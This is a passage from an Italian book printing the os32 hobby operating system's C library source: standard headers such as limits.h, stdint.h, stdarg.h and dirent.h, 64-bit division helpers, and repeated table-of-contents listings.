2360013 #   define CHAR_MIN       (0)
2360014 #   define CHAR_MAX        UCHAR_MAX
2360015 #else
2360016 #   define CHAR_MIN        SCHAR_MIN
2360017 #   define CHAR_MAX        SCHAR_MAX
2360018 #endif
2360019 //
2360020 #define MB_LEN_MAX        (16)
2360021 //
2360022 #define SHRT_MIN         (-0x8000)
2360023 #define SHRT_MAX          (0x7FFF)
2360024 #define USHRT_MAX         (0xFFFF)
2360025 //
2360026 #define INT_MIN          (-0x80000000)
2360027 #define INT_MAX           (0x7FFFFFFF)
2360028 #define UINT_MAX          (0xFFFFFFFFU)
2360029 //
2360030 #define LONG_MIN         (-0x80000000L)
2360031 #define LONG_MAX          (0x7FFFFFFFL)
2360032 #define ULONG_MAX         (0xFFFFFFFFUL)
2360033 //
2360034 #define LLONG_MIN        (-0x8000000000000000LL)
```

```
2360035 #define LLONG_MAX         (0x7FFFFFFFFFFFFFFFLL)
2360036 #define ULLONG_MAX        (0xFFFFFFFFFFFFFFFFULL)
2360037 #define WORD_BIT          (32)
2360038 #define LONG_BIT          (32)
2360039 #define SSIZE_MAX         (0x7FFFFFFFL)
2360040 //----------------------------------------------------------------------
2360041 #define ARG_MAX               8192  // Arguments+environment max length.
2360042 #define ATEXIT_MAX              32  // Max "at exit" functions.
2360043 #define FILESIZEBITS            32  // File size needs integer size...
2360044 #define LINK_MAX               254  // Max links per file.
2360045 #define NAME_MAX                14  // File name max (Minix 1 fs).
2360046 #define OPEN_MAX               128  // Max open files per process.
2360047 #define PATH_MAX              1024  // Path, including final '\0'.
2360048 #define MAX_CANON              256  // Max bytes in canonical tty queue.
2360049 #define MAX_INPUT                1  // Max bytes in tty input queue.
2360050 //----------------------------------------------------------------------
2360051 #define CHLD_MAX           INT_MAX  // Not used.
2360052 #define HOST_NAME_MAX      INT_MAX  // Not used.
2360053 #define LOGIN_NAME_MAX     INT_MAX  // Not used.
2360054 #define PAGE_SIZE          INT_MAX  // Not used.
2360055 #define RE_DUP_MAX         INT_MAX  // Not used.
2360056 #define STREAM_MAX         INT_MAX  // Not used.
2360057 #define SYMLOOP_MAX        INT_MAX  // Not used.
2360058 #define TTY_NAME_MAX       INT_MAX  // Not used.
2360059 #define TZNAME_MAX         INT_MAX  // Not used.
2360060 #define PIPE_MAX           INT_MAX  // Not used.
2360061 #define SYMLINK_MAX        INT_MAX  // Not used.
2360062 //----------------------------------------------------------------------
2360063 #endif
```

120.1.7 lib/ptrdiff_t.h

Si veda la sezione 116.2.

```
2370001 #ifndef _PTRDIFF_T_H
2370002 #define _PTRDIFF_T_H    1
2370003 //----------------------------------------------------------------------
2370004 typedef int ptrdiff_t;
2370005 //----------------------------------------------------------------------
2370006 #endif
```

120.1.8 lib/restrict.h

Si veda la sezione 116.2.

```
2380001 #ifndef _RESTRICT_H
2380002 #define _RESTRICT_H     1
2380003 //----------------------------------------------------------------------
2380004 // At the moment, the GCC compiler does not support the 'restrict'
```

```
2380005 // keyword.
2380006 //----------------------------------------------------------------------
2380007 #define restrict /**/
2380008 //----------------------------------------------------------------------
2380009 #endif
```

120.1.9 lib/size_t.h

Si veda la sezione 116.2.

```
2390001 #ifndef _SIZE_T_H
2390002 #define _SIZE_T_H       1
2390003 //----------------------------------------------------------------------
2390004 // The type 'size_t' *must* be equal to an 'int'.
2390005 //----------------------------------------------------------------------
2390006 typedef unsigned int size_t;
2390007 //----------------------------------------------------------------------
2390008 #endif
```

120.1.10 lib/stdarg.h

Si veda la sezione 116.2.

```
2400001 #ifndef _STDARG_H
2400002 #define _STDARG_H       1
2400003 //----------------------------------------------------------------------
2400004 typedef unsigned char *va_list;
2400005 //----------------------------------------------------------------------
2400006 #define va_start(ap, last)  ((void) ((ap) = \
2400007                              ((va_list) &(last)) + (sizeof (last))))
2400008 #define va_end(ap)          ((void) ((ap) = 0))
2400009 #define va_copy(dest, src)  ((void) ((dest) = (va_list) (src)))
2400010 #define va_arg(ap, type)    (((ap) = (ap) + (sizeof (type))), \
2400011                              *((type *) ((ap) - (sizeof (type)))))
2400012 //----------------------------------------------------------------------
2400013 #endif
```

120.1.11 lib/stdbool.h

Si veda la sezione 116.2.

```
2410001 #ifndef _STDBOOL_H
2410002 #define _STDBOOL_H      1
2410003 //----------------------------------------------------------------------
2410004 #define bool    _Bool
2410005 #define true    1
2410006 #define false   0
2410007 #define __bool_true_false_are_defined   1
```

```
2410008 //----------------------------------------------------------------------
2410009 #endif
```

120.1.12 lib/stddef.h

Si veda la sezione 116.2.

```
2420001 #ifndef _STDDEF_H
2420002 #define _STDDEF_H      1
2420003 //----------------------------------------------------------------------
2420004 #include <ptrdiff_t.h>
2420005 #include <size_t.h>
2420006 #include <wchar_t.h>
2420007 #include <NULL.h>
2420008 //----------------------------------------------------------------------
2420009 #define offsetof(type, member)  ((size_t) &((type *)0)->member)
2420010 //----------------------------------------------------------------------
2420011 #endif
```

120.1.13 lib/stdint.h

Si veda la sezione 116.2.

```
2430001 #ifndef _STDINT_H
2430002 #define _STDINT_H       1
2430003 //----------------------------------------------------------------------
2430004 typedef signed char             int8_t;
2430005 typedef short int               int16_t;
2430006 typedef int                     int32_t;
2430007 typedef long long int           int64_t;
2430008 //
2430009 typedef unsigned char           uint8_t;
2430010 typedef unsigned short int      uint16_t;
2430011 typedef unsigned int            uint32_t;
2430012 typedef unsigned long long int  uint64_t;
2430013 //
2430014 #define INT8_MIN              (-0x80)
2430015 #define INT16_MIN             (-0x8000)
2430016 #define INT32_MIN             (-0x80000000)
2430017 #define INT64_MIN             (-0x8000000000000000LL)
2430018 //
2430019 #define INT8_MAX                0x7F
2430020 #define INT16_MAX               0x7FFF
2430021 #define INT32_MAX               0x7FFFFFFF
2430022 #define INT64_MAX               0x7FFFFFFFFFFFFFFFLL
2430023 //
2430024 #define UINT8_MAX               0xFF
2430025 #define UINT16_MAX              0xFFFF
2430026 #define UINT32_MAX              0xFFFFFFFFU
```

```
2430027 #define UINT64_MAX              0xFFFFFFFFFFFFFFFFULL
2430028 //----------------------------------------------------------------------
2430029 typedef signed char             int_least8_t;
2430030 typedef short int               int_least16_t;
2430031 typedef int                     int_least32_t;
2430032 typedef long long int           int_least64_t;
2430033 //
2430034 typedef unsigned char           uint_least8_t;
2430035 typedef unsigned short int      uint_least16_t;
2430036 typedef unsigned int            uint_least32_t; // x86-32
2430037 typedef unsigned long long int  uint_least64_t; // x86-32
2430038 //
2430039 #define INT_LEAST8_MIN         (-0x80)
2430040 #define INT_LEAST16_MIN        (-0x8000)
2430041 #define INT_LEAST32_MIN        (-0x80000000)
2430042 #define INT_LEAST64_MIN        (-0x8000000000000000LL)
2430043 //
2430044 #define INT_LEAST8_MAX          0x7F
2430045 #define INT_LEAST16_MAX         0x7FFF
2430046 #define INT_LEAST32_MAX         0x7FFFFFFF
2430047 #define INT_LEAST64_MAX         0x7FFFFFFFFFFFFFFFLL
2430048 //
2430049 #define UINT_LEAST8_MAX         0xFF
2430050 #define UINT_LEAST16_MAX        0xFFFF
2430051 #define UINT_LEAST32_MAX        0xFFFFFFFFU
2430052 #define UINT_LEAST64_MAX        0xFFFFFFFFFFFFFFFFULL
2430053 //----------------------------------------------------------------------
2430054 #define INT8_C(VAL)             VAL
2430055 #define INT16_C(VAL)            VAL
2430056 #define INT32_C(VAL)            VAL
2430057 #define INT64_C(VAL)            VAL ## LL
2430058 //
2430059 #define UINT8_C(VAL)            VAL
2430060 #define UINT16_C(VAL)           VAL
2430061 #define UINT32_C(VAL)           VAL ## U
2430062 #define UINT64_C(VAL)           VAL ## ULL
2430063 //----------------------------------------------------------------------
2430064 typedef signed char             int_fast8_t;
2430065 typedef int                     int_fast16_t;
2430066 typedef int                     int_fast32_t;
2430067 typedef long long int           int_fast64_t;
2430068 //
2430069 typedef unsigned char           uint_fast8_t;
2430070 typedef unsigned int            uint_fast16_t;
2430071 typedef unsigned int            uint_fast32_t;
2430072 typedef unsigned long long int  uint_fast64_t;
2430073 //
2430074 #define INT_FAST8_MIN          (-0x80)
2430075 #define INT_FAST16_MIN         (-0x80000000)
2430076 #define INT_FAST32_MIN         (-0x80000000)
2430077 #define INT_FAST64_MIN         (-0x8000000000000000LL)
2430078 //
```

```
2430079 #define INT_FAST8_MAX            0x7F
2430080 #define INT_FAST16_MAX           0x7FFFFFFF
2430081 #define INT_FAST32_MAX           0x7FFFFFFF
2430082 #define INT_FAST64_MAX           0x7FFFFFFFFFFFFFFFLL
2430083 //
2430084 #define UINT_FAST8_MAX           0xFF
2430085 #define UINT_FAST16_MAX          0xFFFFFFFFU
2430086 #define UINT_FAST32_MAX          0xFFFFFFFFU
2430087 #define UINT_FAST64_MAX          0xFFFFFFFFFFFFFFFFULL
2430088 //----------------------------------------------------------------------
2430089 typedef int                      intptr_t;
2430090 typedef unsigned int             uintptr_t;
2430091 //
2430092 #define INTPTR_MIN              (-0x80000000)
2430093 #define INTPTR_MAX               0x7FFFFFFF
2430094 #define UINTPTR_MAX              0xFFFFFFFFU
2430095 //
2430096 typedef long long int            intmax_t;
2430097 typedef unsigned long long int  uintmax_t;
2430098 //
2430099 #define INTMAX_C(VAL)            VAL ## LL
2430100 #define UINTMAX_C(VAL)           VAL ## ULL
2430101 #define INTMAX_MIN   (-INTMAX_C(0x8000000000000000))
2430102 #define INTMAX_MAX    (INTMAX_C(0x7FFFFFFFFFFFFFFF))
2430103 #define UINTMAX_MAX  (UINTMAX_C(0xFFFFFFFFFFFFFFFF))
2430104 //----------------------------------------------------------------------
2430105 #define PTRDIFF_MIN             (-0x80000000)
2430106 #define PTRDIFF_MAX              0x7FFFFFFF
2430107 //
2430108 #define SIG_ATOMIC_MIN          (-0x80000000)
2430109 #define SIG_ATOMIC_MAX           0x7FFFFFFF
2430110 //
2430111 #define SIZE_MAX                 0xFFFFFFFFU
2430112 //
2430113 #define WCHAR_MIN                0x00000000
2430114 #define WCHAR_MAX                0xFFFFFFFFU
2430115 //
2430116 #define WINT_MIN                (-0x8000000000000000LL)
2430117 #define WINT_MAX                 0x7FFFFFFFFFFFFFFFLL
2430118 //----------------------------------------------------------------------
2430119 #endif
```

120.1.14 lib/time_t.h

Si veda la sezione 116.2.

```
2440001 #ifndef _TIME_T_H
2440002 #define _TIME_T_H       1
2440003 //----------------------------------------------------------------------
2440004 typedef long long int time_t;
2440005 //----------------------------------------------------------------------
```

```
2440006 #endif
```

120.1.15 lib/wchar_t.h

Si veda la sezione 116.2.

```
2450001 #ifndef _WCHAR_T_H
2450002 #define _WCHAR_T_H      1
2450003 //----------------------------------------------------------------------
2450004 typedef unsigned int wchar_t;
2450005 //----------------------------------------------------------------------
2450006 #endif
```

120.2 os32: «lib/_gcc.h»

Si veda la sezione 113.1.

```
2460001 #ifndef __GCC_H
2460002 #define __GCC_H        1
2460003 //----------------------------------------------------------------------
2460004 #include <stdlib.h>
2460005 //----------------------------------------------------------------------
2460006 typedef struct {
2460007     unsigned long long int quot;
2460008     unsigned long long int rem;
2460009 } ulldiv_t;
2460010 //----------------------------------------------------------------------
2460011 lldiv_t                _lldiv    (long long int dividend,
2460012                                   long long int divisor);
2460013 ulldiv_t               _ulldiv   (unsigned long long int dividend,
2460014                                   unsigned long long int divisor);
2460015 //----------------------------------------------------------------------
2460016 unsigned long long int __udivdi3 (unsigned long long int dividend,
2460017                                   unsigned long long int divisor);
2460018 unsigned long long int __umoddi3 (unsigned long long int dividend,
2460019                                   unsigned long long int divisor);
2460020 long long int          __divdi3  (long long int dividend,
2460021                                   long long int divisor);
2460022 long long int          __moddi3  (long long int dividend,
2460023                                   long long int divisor);
2460024 //----------------------------------------------------------------------
2460025 #endif
```


120.1 os32: file isolati della directory «lib/» 7457

120.1.1 lib/NULL.h 7457

120.1.2 lib/SEEK.h 7457

120.1.3 lib/assert.h 7457

120.7.2 lib/inttypes/imaxdiv.c 7531

120.8 os32: «lib/libgen.h» 7532

120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539

120.9 os32: «lib/pwd.h» 7541

120.9.1 lib/pwd/pwent.c 7548

120.10 os32: «lib/setjmp.h» 7550

120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558

120.11 os32: «lib/signal.h» 7559

120.11.1 lib/signal/_sighandler_wrapper.s 7566
120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568

120.12 os32: «lib/stdio.h» 7568

120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577
120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
120.12.5 lib/stdio/ferror.c 7578
120.12.6 lib/stdio/fflush.c 7578
120.12.7 lib/stdio/fgetc.c 7579
120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581
120.12.11 lib/stdio/fopen.c 7581
120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
120.12.14 lib/stdio/fputs.c 7584
120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585
120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586
120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588

120.12.23 lib/stdio/fwrite.c . . . 7588
120.12.24 lib/stdio/getchar.c . . . 7588
120.12.25 lib/stdio/gets.c . . . 7589
120.12.26 lib/stdio/perror.c . . . 7590
120.12.27 lib/stdio/printf.c . . . 7591
120.12.28 lib/stdio/putchar.c . . . 7591
120.12.29 lib/stdio/puts.c . . . 7592
120.12.30 lib/stdio/rewind.c . . . 7592
120.12.31 lib/stdio/scanf.c . . . 7592
120.12.32 lib/stdio/setbuf.c . . . 7593
120.12.33 lib/stdio/setvbuf.c . . . 7593
120.12.34 lib/stdio/snprintf.c . . . 7593
120.12.35 lib/stdio/sprintf.c . . . 7594
120.12.36 lib/stdio/sscanf.c . . . 7594
120.12.37 lib/stdio/vfprintf.c . . . 7594
120.12.38 lib/stdio/vfscanf.c . . . 7595
120.12.39 lib/stdio/vfsscanf.c . . . 7595
120.12.40 lib/stdio/vprintf.c . . . 7622
120.12.41 lib/stdio/vscanf.c . . . 7623
120.12.42 lib/stdio/vsnprintf.c . . . 7623
120.12.43 lib/stdio/vsprintf.c . . . 7644
120.12.44 lib/stdio/vsscanf.c . . . 7645

120.13 os32: «lib/stdlib.h» . . . 7645

120.13.1 lib/stdlib/_Exit.c . . . 7653
120.13.2 lib/stdlib/abort.c . . . 7654
120.13.3 lib/stdlib/abs.c . . . 7655
120.13.4 lib/stdlib/atexit.c . . . 7655
120.13.5 lib/stdlib/atoi.c . . . 7656
120.13.6 lib/stdlib/atol.c . . . 7657
120.13.7 lib/stdlib/div.c . . . 7657
120.13.8 lib/stdlib/environment.c . . . 7658
120.13.9 lib/stdlib/exit.c . . . 7659
120.13.10 lib/stdlib/getenv.c . . . 7660
120.13.11 lib/stdlib/labs.c . . . 7661
120.13.12 lib/stdlib/ldiv.c . . . 7662
120.13.13 lib/stdlib/llabs.c . . . 7662
120.13.14 lib/stdlib/lldiv.c . . . 7662
120.13.15 lib/stdlib/putenv.c . . . 7663
120.13.16 lib/stdlib/qsort.c . . . 7664

120.13.17 lib/stdlib/rand.c 7667
120.13.18 lib/stdlib/setenv.c 7668
120.13.19 lib/stdlib/strtol.c 7670
120.13.20 lib/stdlib/strtoul.c 7674
120.13.21 lib/stdlib/unsetenv.c 7675
120.13.22 lib/stdlib_alloc/_alloc_list.c 7676
120.13.23 lib/stdlib_alloc/free.c 7678
120.13.24 lib/stdlib_alloc/malloc.c 7679
120.13.25 lib/stdlib_alloc/realloc.c 7684

120.14 os32: «lib/string.h» 7686

120.14.1 lib/string/memccpy.c 7693
120.14.2 lib/string/memchr.c 7693
120.14.3 lib/string/memcmp.c 7694
120.14.4 lib/string/memcpy.c 7694
120.14.5 lib/string/memmove.c 7695
120.14.6 lib/string/memset.c 7695
120.14.7 lib/string/strcat.c 7696
120.14.8 lib/string/strchr.c 7696
120.14.9 lib/string/strcmp.c 7697
120.14.10 lib/string/strcoll.c 7697
120.14.11 lib/string/strcpy.c 7698
120.14.12 lib/string/strcspn.c 7698
120.14.13 lib/string/strdup.c 7699
120.14.14 lib/string/strerror.c 7699
120.14.15 lib/string/strlen.c 7702
120.14.16 lib/string/strncat.c 7702
120.14.17 lib/string/strncmp.c 7703
120.14.18 lib/string/strncpy.c 7703
120.14.19 lib/string/strpbrk.c 7704
120.14.20 lib/string/strrchr.c 7704
120.14.21 lib/string/strspn.c 7705
120.14.22 lib/string/strstr.c 7705
120.14.23 lib/string/strtok.c 7706
120.14.24 lib/string/strxfrm.c 7709

120.15 os32: «lib/sys/os32.h» 7709

120.15.1 lib/sys/os32/input_line.c 7725
120.15.2 lib/sys/os32/mount.c 7729
120.15.3 lib/sys/os32/namep.c 7729

120.15.4 lib/sys/os32/sys.s 7732
120.15.5 lib/sys/os32/umount.c 7732
120.15.6 lib/sys/os32/z_perror.c 7733
120.15.7 lib/sys/os32/z_printf.c 7734
120.15.8 lib/sys/os32/z_vprintf.c 7734

120.16 os32: «lib/sys/stat.h» 7734

120.16.1 lib/sys/stat/chmod.c 7743
120.16.2 lib/sys/stat/fchmod.c 7743
120.16.3 lib/sys/stat/fstat.c 7744
120.16.4 lib/sys/stat/mkdir.c 7745
120.16.5 lib/sys/stat/mknod.c 7745
120.16.6 lib/sys/stat/stat.c 7746
120.16.7 lib/sys/stat/umask.c 7747

120.17 os32: «lib/sys/types.h» 7747

120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754

120.18 os32: «lib/sys/wait.h» 7755

120.18.1 lib/sys/wait/wait.c 7761

120.19 os32: «lib/termios.h» 7762

120.19.1 lib/termios/tcgetattr.c 7770
120.19.2 lib/termios/tcsetattr.c 7770

120.20 os32: «lib/time.h» 7771

120.20.1 lib/time/asctime.c 7779
120.20.2 lib/time/clock.c 7781
120.20.3 lib/time/gmtime.c 7781
120.20.4 lib/time/mktime.c 7785
120.20.5 lib/time/stime.c 7787
120.20.6 lib/time/time.c 7788

120.21 os32: «lib/unistd.h» 7788

120.21.1 lib/unistd/_exit.c 7796
120.21.2 lib/unistd/access.c 7796
120.21.3 lib/unistd/brk.c 7797
120.21.4 lib/unistd/chdir.c 7798
120.21.5 lib/unistd/chown.c 7799

120.21.6 lib/unistd/close.c 7799
120.21.7 lib/unistd/dup.c 7800
120.21.8 lib/unistd/dup2.c 7800
120.21.9 lib/unistd/environ.c 7801
120.21.10 lib/unistd/execl.c 7801
120.21.11 lib/unistd/execle.c 7802
120.21.12 lib/unistd/execlp.c 7802
120.21.13 lib/unistd/execv.c 7803
120.21.14 lib/unistd/execve.c 7804
120.21.15 lib/unistd/execvp.c 7805
120.21.16 lib/unistd/fchdir.c 7806
120.21.17 lib/unistd/fchown.c 7806
120.21.18 lib/unistd/fork.c 7807
120.21.19 lib/unistd/getcwd.c 7808
120.21.20 lib/unistd/getegid.c 7809
120.21.21 lib/unistd/geteuid.c 7809
120.21.22 lib/unistd/getgid.c 7810
120.21.23 lib/unistd/getopt.c 7810
120.21.24 lib/unistd/getpgrp.c 7815
120.21.25 lib/unistd/getpid.c 7815
120.21.26 lib/unistd/getppid.c 7815
120.21.27 lib/unistd/getuid.c 7816
120.21.28 lib/unistd/isatty.c 7816
120.21.29 lib/unistd/link.c 7817
120.21.30 lib/unistd/lseek.c 7818
120.21.31 lib/unistd/pipe.c 7818
120.21.32 lib/unistd/read.c 7819
120.21.33 lib/unistd/rmdir.c 7820
120.21.34 lib/unistd/sbrk.c 7821
120.21.35 lib/unistd/setegid.c 7822
120.21.36 lib/unistd/seteuid.c 7822
120.21.37 lib/unistd/setgid.c 7823
120.21.38 lib/unistd/setpgrp.c 7823
120.21.39 lib/unistd/setuid.c 7823
120.21.40 lib/unistd/sleep.c 7824
120.21.41 lib/unistd/ttyname.c 7825
120.21.42 lib/unistd/unlink.c 7826
120.21.43 lib/unistd/write.c 7827

120.22 os32: «lib/utime.h» 7828

120.22.1 lib/utime/utime.c 7834

120.2.1 lib/_gcc/__divdi3.c

Si veda la sezione 113.1.

```
2470001 #include <_gcc.h>
2470002 //----------------------------------------------------------------------
2470003 long long int
2470004 __divdi3 (long long int dividend, long long int divisor)
2470005 {
2470006     lldiv_t result;
2470007     result = _lldiv (dividend, divisor);
2470008     return result.quot;
2470009 }
```

120.2.2 lib/_gcc/__moddi3.c

Si veda la sezione 113.1.

```
2480001 #include <_gcc.h>
2480002 //----------------------------------------------------------------------
2480003 long long int
2480004 __moddi3 (long long int dividend, long long int divisor)
2480005 {
2480006     lldiv_t result;
2480007     result = _lldiv (dividend, divisor);
2480008     return result.rem;
2480009 }
```

120.2.3 lib/_gcc/__udivdi3.c

Si veda la sezione 113.1.

```
2490001 #include <_gcc.h>
2490002 //----------------------------------------------------------------------
2490003 unsigned long long int
2490004 __udivdi3 (unsigned long long int dividend,
2490005            unsigned long long int divisor)
2490006 {
2490007     ulldiv_t result;
2490008     result = _ulldiv (dividend, divisor);
2490009     return result.quot;
2490010 }
```

120.2.4 lib/_gcc/__umoddi3.c

Si veda la sezione 113.1.

```
2500001 #include <_gcc.h>
2500002 //----------------------------------------------------------------------
2500003 unsigned long long int
2500004 __umoddi3 (unsigned long long int dividend,
2500005            unsigned long long int divisor)
2500006 {
2500007     ulldiv_t result;
2500008     result = _ulldiv (dividend, divisor);
2500009     return result.rem;
2500010 }
```

120.2.5 lib/_gcc/_lldiv.c

Si veda la sezione 113.1.

```
2510001 #include <_gcc.h>
2510002 //----------------------------------------------------------------------
2510003 // If DIVIDEND and DIVISOR have different sign,
2510004 // the QUOTIENT is negative.
2510005 //
2510006 // The REMINDER has the same sign as the DIVISOR.
2510007 //----------------------------------------------------------------------
2510008 lldiv_t
2510009 _lldiv (long long int dividend, long long int divisor)
2510010 {
2510011     ulldiv_t uresult;
2510012     lldiv_t  result;
2510013     //
2510014     // Check for sign.
2510015     //
2510016     if (dividend >= 0 && divisor >= 0)
2510017       {
2510018         uresult = _ulldiv ((unsigned long long) dividend,
2510019                            (unsigned long long) divisor);
2510020         result.quot = uresult.quot;
2510021         result.rem  = uresult.rem;
2510022       }
2510023     else if (dividend < 0 && divisor < 0)
2510024       {
2510025         uresult = _ulldiv ((unsigned long long) -dividend,
2510026                            (unsigned long long) -divisor);
2510027         result.quot =  uresult.quot;
2510028         result.rem  = -uresult.rem;
2510029       }
2510030     else if (dividend < 0 && divisor >= 0)
2510031       {
2510032         uresult = _ulldiv ((unsigned long long) -dividend,
```

```
2510033                               (unsigned long long)  divisor);
2510034           result.quot = -uresult.quot;
2510035           result.rem  =  uresult.rem;
2510036         }
2510037       else if (dividend >= 0 && divisor < 0)
2510038         {
2510039           uresult = _ulldiv ((unsigned long long)  dividend,
2510040                               (unsigned long long) -divisor);
2510041           result.quot =  uresult.quot;
2510042           result.rem  = -uresult.rem;
2510043         }
2510044       //
2510045       return (result);
2510046   }
```

120.2.6 lib/_gcc/_ulldiv.c

Si veda la sezione 113.1.

```
2520001   #include <_gcc.h>
2520002   //----------------------------------------------------------------------
2520003   // DIVIDEND = DIVISOR * QUOTIENT + REMINDER
2520004   //
2520005   // If DIVISOR == 0, then QUOTIENT == 0 and REMINDER == DIVIDEND
2520006   //----------------------------------------------------------------------
2520007   ulldiv_t
2520008   _ulldiv (unsigned long long int dividend,
2520009            unsigned long long int divisor)
2520010   {
2520011       unsigned long long int sign;
2520012       unsigned long long int mask;
2520013       ulldiv_t               result;
2520014       int                    scroll;
2520015       unsigned int           size;        // Bits of a long long.
2520016       //
2520017       // Division of zero will return zero.
2520018       //
2520019       if (dividend == 0)
2520020         {
2520021           result.quot = 0;
2520022           result.rem  = 0;
2520023           return (result);
2520024         }
2520025       //
2520026       // Division by zero will return zero and all reminder.
2520027       //
2520028       if (divisor == 0)
2520029         {
2520030           result.quot = 0;
2520031           result.rem  = dividend;
2520032           return (result);
```

```
2520033           }
2520034         //
2520035         // Calculate how much bits does have the type 'long long'.
2520036         //
2520037         size = 0;
2520038         mask = ~0LL;
2520039         //
2520040         while (mask > 0)
2520041           {
2520042             size += 8;
2520043             mask >>= 8;
2520044           }
2520045         //
2520046         // Calculate the value for 'sign' that needs to have the most
2520047         // significant bit to one.
2520048         //
2520049         mask = ~0LL;
2520050         mask >>= 1;
2520051         sign = ~mask;
2520052         //
2520053         // Scroll divisor to the left, as long as the first bit is zero.
2520054         //
2520055         for (scroll = 0; scroll < size; scroll++)
2520056           {
2520057             if (divisor & sign)
2520058               {
2520059                 //
2520060                 // The most significant bit is one.
2520061                 //
2520062                 break;
2520063               }
2520064             //
2520065             // The most significant bit is zero: scroll left.
2520066             //
2520067             divisor <<= 1;
2520068           }
2520069         //
2520070         //
2520071         //
2520072         result.quot = 0;
2520073         result.rem  = 0;
2520074         //
2520075         for (; scroll >= 0 && divisor > 0; scroll--)
2520076           {
2520077             result.quot <<= 1;
2520078             if (dividend >= divisor)
2520079               {
2520080                 result.quot |=  1LL;
2520081                 dividend -= divisor;
2520082               }
2520083             divisor >>= 1;
2520084           }
```

```
2520085     //
2520086     result.rem = dividend;
2520087     //
2520088     return (result);
2520089 }
```

120.3 os32: «lib/dirent.h»

Si veda la sezione 116.2.

```
2530001 #ifndef _DIRENT_H
2530002 #define _DIRENT_H        1
2530003 
2530004 #include <sys/types.h>  // ino_t
2530005 #include <limits.h>     // NAME_MAX
2530006 
2530007 //----------------------------------------------------------------------
2530008 struct dirent {
2530009     ino_t  d_ino;                   // I-node number [1]
2530010     char   d_name[NAME_MAX+1];      // NAME_MAX + Null termination
2530011 } __attribute__ ((packed));
2530012 //
2530013 // [1] The type 'ino_t' must be equal to 'uint16_t', because the
2530014 //     directory inside the Minix 1 file system has exactly such
2530015 //     size.
2530016 //
2530017 //----------------------------------------------------------------------
2530018 #define DOPEN_MAX   OPEN_MAX/2  // <limits.h> [1]
2530019 //
2530020 // [1] DOPEN_MAX is not standard, but it is used to define how many
2530021 //     directory slot to keep for open directories. As directory streams
2530022 //     are opened as file descriptors, the sum of all kind of file open
2530023 //     cannot be more than OPEM_MAX.
2530024 //----------------------------------------------------------------------
2530025 typedef struct {
2530026     int           fdn;       // File descriptor number.
2530027     struct dirent dir;       // Last directory item read.
2530028 } DIR;
2530029 
2530030 extern DIR _directory_stream[]; // Defined inside 'lib/dirent/DIR.c'.
2530031 //----------------------------------------------------------------------
2530032 // Function prototypes.
2530033 //----------------------------------------------------------------------
2530034 int            closedir  (DIR *dp);
2530035 DIR           *opendir   (const char *name);
2530036 struct dirent *readdir   (DIR *dp);
2530037 void           rewinddir (DIR *dp);
2530038 //----------------------------------------------------------------------
2530039 
2530040 #endif
```

120.1 os32: file isolati della directory «lib/» 7457

120.1.1 lib/NULL.h 7457
120.1.2 lib/SEEK.h 7457
120.1.3 lib/assert.h 7457
120.1.4 lib/clock_t.h 7458
120.1.5 lib/ctype.h 7458
120.1.6 lib/limits.h 7459
120.1.7 lib/ptrdiff_t.h 7460
120.1.8 lib/restrict.h 7460
120.1.9 lib/size_t.h 7461
120.1.10 lib/stdarg.h 7461
120.1.11 lib/stdbool.h 7461
120.1.12 lib/stddef.h 7462
120.1.13 lib/stdint.h 7462
120.1.14 lib/time_t.h 7464
120.1.15 lib/wchar_t.h 7465

120.2 os32: «lib/_gcc.h» 7465

120.2.1 lib/_gcc/__divdi3.c 7471
120.2.2 lib/_gcc/__moddi3.c 7472
120.2.3 lib/_gcc/__udivdi3.c 7472
120.2.4 lib/_gcc/__umoddi3.c 7473
120.2.5 lib/_gcc/_lldiv.c 7473
120.2.6 lib/_gcc/_ulldiv.c 7474

120.3 os32: «lib/dirent.h» 7476

120.3.1 lib/dirent/DIR.c 7483
120.3.2 lib/dirent/closedir.c 7483
120.3.3 lib/dirent/opendir.c 7484
120.3.4 lib/dirent/readdir.c 7486
120.3.5 lib/dirent/rewinddir.c 7488

120.4 os32: «lib/errno.h» 7489

120.4.1 lib/errno/errno.c 7500

120.5 os32: «lib/fcntl.h» 7500

120.5.1 lib/fcntl/creat.c 7508
120.5.2 lib/fcntl/fcntl.c 7509
120.5.3 lib/fcntl/open.c 7510

120.6 os32: «lib/grp.h» 7510

120.6.1 lib/grp/grent.c 7517

120.7 os32: «lib/inttypes.h» 7519

120.7.1 lib/inttypes/imaxabs.c 7531
120.7.2 lib/inttypes/imaxdiv.c 7531

120.8 os32: «lib/libgen.h» 7532

120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539

120.9 os32: «lib/pwd.h» 7541

120.9.1 lib/pwd/pwent.c 7548

120.10 os32: «lib/setjmp.h» 7550

120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558

120.11 os32: «lib/signal.h» 7559

120.11.1 lib/signal/_sighandler_wrapper.s 7566
120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568

120.12 os32: «lib/stdio.h» 7568

120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577
120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
120.12.5 lib/stdio/ferror.c 7578
120.12.6 lib/stdio/fflush.c 7578
120.12.7 lib/stdio/fgetc.c 7579
120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581
120.12.11 lib/stdio/fopen.c 7581
120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
